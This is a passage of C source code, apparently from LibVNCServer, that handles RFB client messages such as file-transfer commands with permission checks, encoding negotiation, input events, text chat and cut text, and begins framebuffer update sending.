length); #endif } if (retval==-1) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; } } break; case rfbEndOfFile: if (DB) rfbLog("rfbProcessFileTransfer() rfbEndOfFile\n"); /* */ if (cl->fileTransfer.fd!=-1) close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; break; case rfbAbortFileTransfer: if (DB) rfbLog("rfbProcessFileTransfer() rfbAbortFileTransfer\n"); /* */ if (cl->fileTransfer.fd!=-1) { close(cl->fileTransfer.fd); cl->fileTransfer.fd=-1; cl->fileTransfer.sending = 0; cl->fileTransfer.receiving = 0; } else { /* We use this message for FileTransfer rights (<=RC18 versions) * The client asks for FileTransfer permission */ if (contentParam == 0) { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED! (Client Version <=RC18)\n"); /* Old method for FileTransfer handshake perimssion (<=RC18) (Deny it)*/ return rfbSendFileTransferMessage(cl, rfbAbortFileTransfer, 0, -1, 0, ""); } /* New method is allowed */ if (cl->screen->getFileTransferPermission!=NULL) { if (cl->screen->getFileTransferPermission(cl)==TRUE) { rfbLog("rfbProcessFileTransfer() File Transfer Permission Granted!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, 1 , 0, ""); /* Permit */ } else { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, -1 , 0, ""); /* Deny */ } } else { if (cl->screen->permitFileTransfer) { rfbLog("rfbProcessFileTransfer() File Transfer Permission Granted!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, 1 , 0, ""); /* Permit */ } else { rfbLog("rfbProcessFileTransfer() File Transfer Permission DENIED by default!\n"); return rfbSendFileTransferMessage(cl, rfbFileTransferAccess, 0, -1 , 0, ""); /* DEFAULT: DENY (for security) */ } } } break; case rfbCommand: /* rfbLog("rfbProcessFileTransfer() rfbCommand:\n"); */ if ((buffer = rfbProcessFileTransferReadBuffer(cl, length))==NULL) return FALSE; switch (contentParam) { case rfbCDirCreate: /* Client requests the creation of a directory */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; retval = mkdir(filename1, 0755); if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCDirCreate(\"%s\"->\"%s\") %s\n", buffer, filename1, (retval==-1?"Failed":"Success")); /* */ retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbADirCreate, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; case rfbCFileDelete: /* Client requests the deletion of a file */ if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; if (stat(filename1,&statbuf)==0) { if (S_ISDIR(statbuf.st_mode)) retval = rmdir(filename1); else retval = unlink(filename1); } else retval=-1; retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbAFileDelete, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; case rfbCFileRename: /* Client requests the Renaming of a file/directory */ p = strrchr(buffer, '*'); if (p != NULL) { /* Split into 2 filenames ('*' is a seperator) */ *p = '\0'; if (!rfbFilenameTranslate2UNIX(cl, buffer, filename1, sizeof(filename1))) goto fail; if (!rfbFilenameTranslate2UNIX(cl, p+1, filename2, sizeof(filename2))) goto fail; retval = rename(filename1,filename2); if (DB) rfbLog("rfbProcessFileTransfer() rfbCommand: rfbCFileRename(\"%s\"->\"%s\" -->> \"%s\"->\"%s\") %s\n", buffer, filename1, p+1, filename2, (retval==-1?"Failed":"Success")); /* */ /* Restore the buffer so the reply is good */ *p = '*'; retval = rfbSendFileTransferMessage(cl, rfbCommandReturn, rfbAFileRename, retval, length, buffer); if (buffer!=NULL) free(buffer); return retval; } break; } break; } /* NOTE: don't forget to free(buffer) if you return early! */ if (buffer!=NULL) free(buffer); return TRUE; fail: if (buffer!=NULL) free(buffer); return FALSE; } /* * rfbProcessClientNormalMessage is called when the client has sent a normal * protocol message. */ static void rfbProcessClientNormalMessage(rfbClientPtr cl) { int n=0; rfbClientToServerMsg msg; char *str; int i; uint32_t enc=0; uint32_t lastPreferredEncoding = -1; char encBuf[64]; char encBuf2[64]; if ((n = rfbReadExact(cl, (char *)&msg, 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } switch (msg.type) { case rfbSetPixelFormat: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetPixelFormatMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } cl->format.bitsPerPixel = msg.spf.format.bitsPerPixel; cl->format.depth = msg.spf.format.depth; cl->format.bigEndian = (msg.spf.format.bigEndian ? TRUE : FALSE); cl->format.trueColour = (msg.spf.format.trueColour ? TRUE : FALSE); cl->format.redMax = Swap16IfLE(msg.spf.format.redMax); cl->format.greenMax = Swap16IfLE(msg.spf.format.greenMax); cl->format.blueMax = Swap16IfLE(msg.spf.format.blueMax); cl->format.redShift = msg.spf.format.redShift; cl->format.greenShift = msg.spf.format.greenShift; cl->format.blueShift = msg.spf.format.blueShift; cl->readyForSetColourMapEntries = TRUE; cl->screen->setTranslateFunction(cl); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetPixelFormatMsg, sz_rfbSetPixelFormatMsg); return; case rfbFixColourMapEntries: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFixColourMapEntriesMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetPixelFormatMsg, sz_rfbSetPixelFormatMsg); rfbLog("rfbProcessClientNormalMessage: %s", "FixColourMapEntries unsupported\n"); rfbCloseClient(cl); return; /* NOTE: Some clients send us a set of encodings (ie: PointerPos) designed to enable/disable features... * We may want to look into this... * Example: * case rfbEncodingXCursor: * cl->enableCursorShapeUpdates = TRUE; * * Currently: cl->enableCursorShapeUpdates can *never* be turned off... */ case rfbSetEncodings: { if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetEncodingsMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.se.nEncodings = Swap16IfLE(msg.se.nEncodings); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetEncodingsMsg+(msg.se.nEncodings*4),sz_rfbSetEncodingsMsg+(msg.se.nEncodings*4)); /* * UltraVNC Client has the ability to adapt to changing network environments * So, let's give it a change to tell us what it wants now! */ if (cl->preferredEncoding!=-1) lastPreferredEncoding = cl->preferredEncoding; /* Reset all flags to defaults (allows us to switch between PointerPos and Server Drawn Cursors) */ cl->preferredEncoding=-1; cl->useCopyRect = FALSE; cl->useNewFBSize = FALSE; cl->cursorWasChanged = FALSE; cl->useRichCursorEncoding = FALSE; cl->enableCursorPosUpdates = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorShapeUpdates = FALSE; cl->enableLastRectEncoding = FALSE; cl->enableKeyboardLedState = FALSE; cl->enableSupportedMessages = FALSE; cl->enableSupportedEncodings = FALSE; cl->enableServerIdentity = FALSE; #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) cl->tightQualityLevel = -1; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->turboSubsampLevel = TURBO_DEFAULT_SUBSAMP; cl->turboQualityLevel = -1; #endif #endif for (i = 0; i < msg.se.nEncodings; i++) { if ((n = rfbReadExact(cl, (char *)&enc, 4)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } enc = Swap32IfLE(enc); switch (enc) { case rfbEncodingCopyRect: cl->useCopyRect = TRUE; break; case rfbEncodingRaw: case rfbEncodingRRE: case rfbEncodingCoRRE: case rfbEncodingHextile: case rfbEncodingUltra: #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: case rfbEncodingZRLE: case rfbEncodingZYWRLE: #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG case rfbEncodingTightPng: #endif /* The first supported encoding is the 'preferred' encoding */ if (cl->preferredEncoding == -1) cl->preferredEncoding = enc; break; case rfbEncodingXCursor: if(!cl->screen->dontConvertRichCursorToXCursor) { rfbLog("Enabling X-style cursor updates for client %s\n", cl->host); /* if cursor was drawn, hide the cursor */ if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); cl->enableCursorShapeUpdates = TRUE; cl->cursorWasChanged = TRUE; } break; case rfbEncodingRichCursor: rfbLog("Enabling full-color cursor updates for client %s\n", cl->host); /* if cursor was drawn, hide the cursor */ if(!cl->enableCursorShapeUpdates) rfbRedrawAfterHideCursor(cl,NULL); cl->enableCursorShapeUpdates = TRUE; cl->useRichCursorEncoding = TRUE; cl->cursorWasChanged = TRUE; break; case rfbEncodingPointerPos: if (!cl->enableCursorPosUpdates) { rfbLog("Enabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = TRUE; cl->cursorWasMoved = TRUE; } break; case rfbEncodingLastRect: if (!cl->enableLastRectEncoding) { rfbLog("Enabling LastRect protocol extension for client " "%s\n", cl->host); cl->enableLastRectEncoding = TRUE; } break; case rfbEncodingNewFBSize: if (!cl->useNewFBSize) { rfbLog("Enabling NewFBSize protocol extension for client " "%s\n", cl->host); cl->useNewFBSize = TRUE; } break; case rfbEncodingKeyboardLedState: if (!cl->enableKeyboardLedState) { rfbLog("Enabling KeyboardLedState protocol extension for client " "%s\n", cl->host); cl->enableKeyboardLedState = TRUE; } break; case rfbEncodingSupportedMessages: if (!cl->enableSupportedMessages) { rfbLog("Enabling SupportedMessages protocol extension for client " "%s\n", cl->host); cl->enableSupportedMessages = TRUE; } break; case rfbEncodingSupportedEncodings: if (!cl->enableSupportedEncodings) { rfbLog("Enabling SupportedEncodings protocol extension for client " "%s\n", cl->host); cl->enableSupportedEncodings = TRUE; } break; case rfbEncodingServerIdentity: if (!cl->enableServerIdentity) { rfbLog("Enabling ServerIdentity protocol extension for client " "%s\n", cl->host); cl->enableServerIdentity = TRUE; } break; case rfbEncodingXvp: if (cl->screen->xvpHook) { rfbLog("Enabling Xvp protocol extension for client " "%s\n", cl->host); if (!rfbSendXvp(cl, 1, rfbXvp_Init)) { rfbCloseClient(cl); return; } } break; default: #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) if ( enc >= (uint32_t)rfbEncodingCompressLevel0 && enc <= (uint32_t)rfbEncodingCompressLevel9 ) { cl->zlibCompressLevel = enc & 0x0F; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = enc & 0x0F; rfbLog("Using compression level %d for client %s\n", cl->tightCompressLevel, cl->host); #endif } else if ( enc >= (uint32_t)rfbEncodingQualityLevel0 && enc <= (uint32_t)rfbEncodingQualityLevel9 ) { cl->tightQualityLevel = enc & 0x0F; rfbLog("Using image quality level %d for client %s\n", cl->tightQualityLevel, cl->host); #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->turboQualityLevel = tight2turbo_qual[enc & 0x0F]; cl->turboSubsampLevel = tight2turbo_subsamp[enc & 0x0F]; rfbLog("Using JPEG subsampling %d, Q%d for client %s\n", cl->turboSubsampLevel, cl->turboQualityLevel, cl->host); } else if ( enc >= (uint32_t)rfbEncodingFineQualityLevel0 + 1 && enc <= (uint32_t)rfbEncodingFineQualityLevel100 ) { cl->turboQualityLevel = enc & 0xFF; rfbLog("Using fine quality level %d for client %s\n", cl->turboQualityLevel, cl->host); } else if ( enc >= (uint32_t)rfbEncodingSubsamp1X && enc <= (uint32_t)rfbEncodingSubsampGray ) { cl->turboSubsampLevel = enc & 0xFF; rfbLog("Using subsampling level %d for client %s\n", cl->turboSubsampLevel, cl->host); #endif } else #endif { rfbExtensionData* e; for(e = cl->extensions; e;) { rfbExtensionData* next = e->next; if(e->extension->enablePseudoEncoding && e->extension->enablePseudoEncoding(cl, &e->data, (int)enc)) /* ext handles this encoding */ break; e = next; } if(e == NULL) { rfbBool handled = FALSE; /* if the pseudo encoding is not handled by the enabled extensions, search through all extensions. */ rfbProtocolExtension* e; for(e = rfbGetExtensionIterator(); e;) { int* encs = e->pseudoEncodings; while(encs && *encs!=0) { if(*encs==(int)enc) { void* data = NULL; if(!e->enablePseudoEncoding(cl, &data, (int)enc)) { rfbLog("Installed extension pretends to handle pseudo encoding 0x%x, but does not!\n",(int)enc); } else { rfbEnableExtension(cl, e, data); handled = TRUE; e = NULL; break; } } encs++; } if(e) e = e->next; } rfbReleaseExtensionIterator(); if(!handled) rfbLog("rfbProcessClientNormalMessage: " "ignoring unsupported encoding type %s\n", encodingName(enc,encBuf,sizeof(encBuf))); } } } } if (cl->preferredEncoding == -1) { if (lastPreferredEncoding==-1) { cl->preferredEncoding = rfbEncodingRaw; rfbLog("Defaulting to %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } else { cl->preferredEncoding = lastPreferredEncoding; rfbLog("Sticking with %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } } else { if (lastPreferredEncoding==-1) { rfbLog("Using %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } else { rfbLog("Switching from %s to %s Encoding for client %s\n", encodingName(lastPreferredEncoding,encBuf2,sizeof(encBuf2)), encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)), cl->host); } } if (cl->enableCursorPosUpdates && !cl->enableCursorShapeUpdates) { rfbLog("Disabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = FALSE; } return; } case rfbFramebufferUpdateRequest: { sraRegionPtr tmpRegion; if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFramebufferUpdateRequestMsg-1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbFramebufferUpdateRequestMsg,sz_rfbFramebufferUpdateRequestMsg); /* The values come in based on the scaled screen, we need to convert them to * values based on the main screen's coordinate system */ if(!rectSwapIfLEAndClip(&msg.fur.x,&msg.fur.y,&msg.fur.w,&msg.fur.h,cl)) { rfbLog("Warning, ignoring rfbFramebufferUpdateRequest: %dXx%dY-%dWx%dH\n",msg.fur.x, msg.fur.y, msg.fur.w, msg.fur.h); return; } tmpRegion = sraRgnCreateRect(msg.fur.x, msg.fur.y, msg.fur.x+msg.fur.w, msg.fur.y+msg.fur.h); LOCK(cl->updateMutex); sraRgnOr(cl->requestedRegion,tmpRegion); if (!cl->readyForSetColourMapEntries) { /* client hasn't sent a SetPixelFormat so is using server's */ cl->readyForSetColourMapEntries = TRUE; if (!cl->format.trueColour) { if (!rfbSetClientColourMap(cl, 0, 0)) { sraRgnDestroy(tmpRegion); TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); return; } } } if (!msg.fur.incremental) { sraRgnOr(cl->modifiedRegion,tmpRegion); sraRgnSubtract(cl->copyRegion,tmpRegion); } TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); sraRgnDestroy(tmpRegion); return; } case rfbKeyEvent: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbKeyEventMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbKeyEventMsg, sz_rfbKeyEventMsg); if(!cl->viewOnly) { cl->screen->kbdAddEvent(msg.ke.down, (rfbKeySym)Swap32IfLE(msg.ke.key), cl); } return; case rfbPointerEvent: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbPointerEventMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbPointerEventMsg, sz_rfbPointerEventMsg); if (cl->screen->pointerClient && cl->screen->pointerClient != cl) return; if (msg.pe.buttonMask == 0) cl->screen->pointerClient = NULL; else cl->screen->pointerClient = cl; if(!cl->viewOnly) { if (msg.pe.buttonMask != cl->lastPtrButtons || cl->screen->deferPtrUpdateTime == 0) { cl->screen->ptrAddEvent(msg.pe.buttonMask, ScaleX(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.x)), ScaleY(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.y)), cl); cl->lastPtrButtons = msg.pe.buttonMask; } else { cl->lastPtrX = ScaleX(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.x)); cl->lastPtrY = ScaleY(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.y)); cl->lastPtrButtons = msg.pe.buttonMask; } } return; case rfbFileTransfer: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFileTransferMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.ft.size = Swap32IfLE(msg.ft.size); msg.ft.length = Swap32IfLE(msg.ft.length); /* record statistics in rfbProcessFileTransfer as length is filled with garbage when it is not valid */ rfbProcessFileTransfer(cl, msg.ft.contentType, msg.ft.contentParam, msg.ft.size, msg.ft.length); return; case rfbSetSW: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetSWMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.sw.x = Swap16IfLE(msg.sw.x); msg.sw.y = Swap16IfLE(msg.sw.y); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetSWMsg, sz_rfbSetSWMsg); /* msg.sw.status is not initialized in the ultraVNC viewer and contains random numbers (why???) */ rfbLog("Received a rfbSetSingleWindow(%d x, %d y)\n", msg.sw.x, msg.sw.y); if (cl->screen->setSingleWindow!=NULL) cl->screen->setSingleWindow(cl, msg.sw.x, msg.sw.y); return; case rfbSetServerInput: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetServerInputMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetServerInputMsg, sz_rfbSetServerInputMsg); /* msg.sim.pad is not initialized in the ultraVNC viewer and contains random numbers (why???) */ /* msg.sim.pad = Swap16IfLE(msg.sim.pad); */ rfbLog("Received a rfbSetServerInput(%d status)\n", msg.sim.status); if (cl->screen->setServerInput!=NULL) cl->screen->setServerInput(cl, msg.sim.status); return; case rfbTextChat: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbTextChatMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.tc.pad2 = Swap16IfLE(msg.tc.pad2); msg.tc.length = Swap32IfLE(msg.tc.length); switch (msg.tc.length) { case rfbTextChatOpen: case rfbTextChatClose: case rfbTextChatFinished: /* commands do not have text following */ /* Why couldn't they have used the pad byte??? */ str=NULL; rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbTextChatMsg, sz_rfbTextChatMsg); break; default: if ((msg.tc.length>0) && (msg.tc.length<rfbTextMaxSize)) { str = (char *)malloc(msg.tc.length); if (str==NULL) { rfbLog("Unable to malloc %d bytes for a TextChat Message\n", msg.tc.length); rfbCloseClient(cl); return; } if ((n = rfbReadExact(cl, str, msg.tc.length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbTextChatMsg+msg.tc.length, sz_rfbTextChatMsg+msg.tc.length); } else { /* This should never happen */ rfbLog("client sent us a Text Message that is too big %d>%d\n", msg.tc.length, rfbTextMaxSize); rfbCloseClient(cl); return; } } /* Note: length can be commands: rfbTextChatOpen, rfbTextChatClose, and rfbTextChatFinished * at which point, the str is NULL (as it is not sent) */ if (cl->screen->setTextChat!=NULL) cl->screen->setTextChat(cl, msg.tc.length, str); free(str); return; case rfbClientCutText: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbClientCutTextMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.cct.length = Swap32IfLE(msg.cct.length); /* uint32_t input is passed to malloc()'s size_t argument, * to rfbReadExact()'s int argument, to rfbStatRecordMessageRcvd()'s int * argument increased of sz_rfbClientCutTextMsg, and to setXCutText()'s int * argument. Here we impose a limit of 1 MB so that the value fits * into all of the types to prevent from misinterpretation and thus * from accessing uninitialized memory (CVE-2018-7225) and also to * prevent from a denial-of-service by allocating too much memory in * the server. */ if (msg.cct.length > 1<<20) { rfbLog("rfbClientCutText: too big cut text length requested: %u B > 1 MB\n", (unsigned int)msg.cct.length); rfbCloseClient(cl); return; } /* Allow zero-length client cut text. */ str = (char *)calloc(msg.cct.length ? msg.cct.length : 1, 1); if (str == NULL) { rfbLogPerror("rfbProcessClientNormalMessage: not enough memory"); rfbCloseClient(cl); return; } if ((n = rfbReadExact(cl, str, msg.cct.length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbClientCutTextMsg+msg.cct.length, sz_rfbClientCutTextMsg+msg.cct.length); if(!cl->viewOnly) { cl->screen->setXCutText(str, msg.cct.length, cl); } free(str); return; case rfbPalmVNCSetScaleFactor: cl->PalmVNC = TRUE; if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetScaleMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); return; case rfbSetScale: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetScaleMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); return; case rfbXvp: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbXvpMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbXvpMsg, sz_rfbXvpMsg); /* only version when is defined, so echo back a fail */ if(msg.xvp.version != 1) { rfbSendXvp(cl, msg.xvp.version, rfbXvp_Fail); } else { /* if the hook exists and fails, send a fail msg */ if(cl->screen->xvpHook && !cl->screen->xvpHook(cl, msg.xvp.version, msg.xvp.code)) rfbSendXvp(cl, 1, rfbXvp_Fail); } return; default: { rfbExtensionData *e,*next; for(e=cl->extensions; e;) { next = e->next; if(e->extension->handleMessage && e->extension->handleMessage(cl, e->data, &msg)) { rfbStatRecordMessageRcvd(cl, msg.type, 0, 0); /* Extension should handle this */ return; } e = next; } rfbLog("rfbProcessClientNormalMessage: unknown message type %d\n", msg.type); rfbLog(" ... closing connection\n"); rfbCloseClient(cl); return; } } } /* * rfbSendFramebufferUpdate - send the currently pending framebuffer update to * the RFB client. * givenUpdateRegion is not changed. */ rfbBool rfbSendFramebufferUpdate(rfbClientPtr cl, sraRegionPtr givenUpdateRegion) { sraRectangleIterator* i=NULL; sraRect rect; int nUpdateRegionRects; rfbFramebufferUpdateMsg *fu = (rfbFramebufferUpdateMsg *)cl->updateBuf; sraRegionPtr updateRegion,updateCopyRegion,tmpRegion; int dx, dy; rfbBool sendCursorShape = FALSE; rfbBool sendCursorPos = FALSE; rfbBool sendKeyboardLedState = FALSE; rfbBool sendSupportedMessages = FALSE; rfbBool sendSupportedEncodings = FALSE; rfbBool sendServerIdentity = FALSE; rfbBool result = TRUE; if(cl->screen->displayHook) cl->screen->displayHook(cl); /* * If framebuffer size was changed and the client supports NewFBSize * encoding, just send NewFBSize marker and return. */ if (cl->useNewFBSize && cl->newFBSizePending) { LOCK(cl->updateMutex); cl->newFBSizePending = FALSE; UNLOCK(cl->updateMutex); fu->type = rfbFramebufferUpdate; fu->nRects = Swap16IfLE(1); cl->ublen = sz_rfbFramebufferUpdateMsg; if (!rfbSendNewFBSize(cl, cl->scaledScreen->width, cl->scaledScreen->height)) { if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, FALSE); return FALSE; } result = rfbSendUpdateBuf(cl); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, result); return result; } /* * If this client understands cursor shape updates, cursor should be * removed from the framebuffer. Otherwise, make sure it's put up. */ if (cl->enableCursorShapeUpdates) { if (cl->cursorWasChanged && cl->readyForSetColourMapEntries) sendCursorShape = TRUE; } /* * Do we plan to send cursor position update? */ if (cl->enableCursorPosUpdates && cl->cursorWasMoved) sendCursorPos = TRUE; /* * Do we plan to send a keyboard state update? */ if ((cl->enableKeyboardLedState) && (cl->screen->getKeyboardLedStateHook!=NULL)) { int x; x=cl->screen->getKeyboardLedStateHook(cl->screen); if (x!=cl->lastKeyboardLedState) { sendKeyboardLedState = TRUE; cl->lastKeyboardLedState=x; } } /* * Do we plan to send a rfbEncodingSupportedMessages? */ if (cl->enableSupportedMessages) { sendSupportedMessages = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableSupportedMessages = FALSE; } /* * Do we plan to send a rfbEncodingSupportedEncodings? */ if (cl->enableSupportedEncodings) { sendSupportedEncodings = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableSupportedEncodings = FALSE; } /* * Do we plan to send a rfbEncodingServerIdentity? */ if (cl->enableServerIdentity) { sendServerIdentity = TRUE; /* We only send this message ONCE <per setEncodings message received> * (We disable it here) */ cl->enableServerIdentity = FALSE; } LOCK(cl->updateMutex); /* * The modifiedRegion may overlap the destination copyRegion. We remove * any overlapping bits from the copyRegion (since they'd only be * overwritten anyway). */ sraRgnSubtract(cl->copyRegion,cl->modifiedRegion); /* * The client is interested in the region requestedRegion. The region * which should be updated now is the intersection of requestedRegion * and the union of modifiedRegion and copyRegion. If it's empty then * no update is needed. */ updateRegion = sraRgnCreateRgn(givenUpdateRegion); if(cl->screen->progressiveSliceHeight>0) { int height=cl->screen->progressiveSliceHeight, y=cl->progressiveSliceY; sraRegionPtr bbox=sraRgnBBox(updateRegion); sraRect rect; if(sraRgnPopRect(bbox,&rect,0)) { sraRegionPtr slice; if(y<rect.y1 || y>=rect.y2) y=rect.y1; slice=sraRgnCreateRect(0,y,cl->screen->width,y+height); sraRgnAnd(updateRegion,slice); sraRgnDestroy(slice); } sraRgnDestroy(bbox); y+=height; if(y>=cl->screen->height) y=0; cl->progressiveSliceY=y; } sraRgnOr(updateRegion,cl->copyRegion); if(!sraRgnAnd(updateRegion,cl->requestedRegion) && sraRgnEmpty(updateRegion) && (cl->enableCursorShapeUpdates || (cl->cursorX == cl->screen->cursorX && cl->cursorY == cl->screen->cursorY)) && !sendCursorShape && !sendCursorPos && !sendKeyboardLedState && !sendSupportedMessages && !sendSupportedEncodings && !sendServerIdentity) { sraRgnDestroy(updateRegion); UNLOCK(cl->updateMutex); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, TRUE); return TRUE; } /* * We assume that the client doesn't have any pixel data outside the * requestedRegion. In other words, both the source and destination of a * copy must lie within requestedRegion. So the region we can send as a * copy is the intersection of the copyRegion with both the requestedRegion * and the requestedRegion translated by the amount of the copy. We set * updateCopyRegion to this. */ updateCopyRegion = sraRgnCreateRgn(cl->copyRegion); sraRgnAnd(updateCopyRegion,cl->requestedRegion); tmpRegion = sraRgnCreateRgn(cl->requestedRegion); sraRgnOffset(tmpRegion,cl->copyDX,cl->copyDY); sraRgnAnd(updateCopyRegion,tmpRegion); sraRgnDestroy(tmpRegion); dx = cl->copyDX; dy = cl->copyDY; /* * Next we remove updateCopyRegion from updateRegion so that updateRegion * is the part of this update which is sent as ordinary pixel data (i.e not * a copy). */ sraRgnSubtract(updateRegion,updateCopyRegion); /* * Finally we leave modifiedRegion to be the remainder (if any) of parts of * the screen which are modified but outside the requestedRegion. We also * empty both the requestedRegion and the copyRegion - note that we never * carry over a copyRegion for a future update. */ sraRgnOr(cl->modifiedRegion,cl->copyRegion); sraRgnSubtract(cl->modifiedRegion,updateRegion); sraRgnSubtract(cl->modifiedRegion,updateCopyRegion); sraRgnMakeEmpty(cl->requestedRegion); 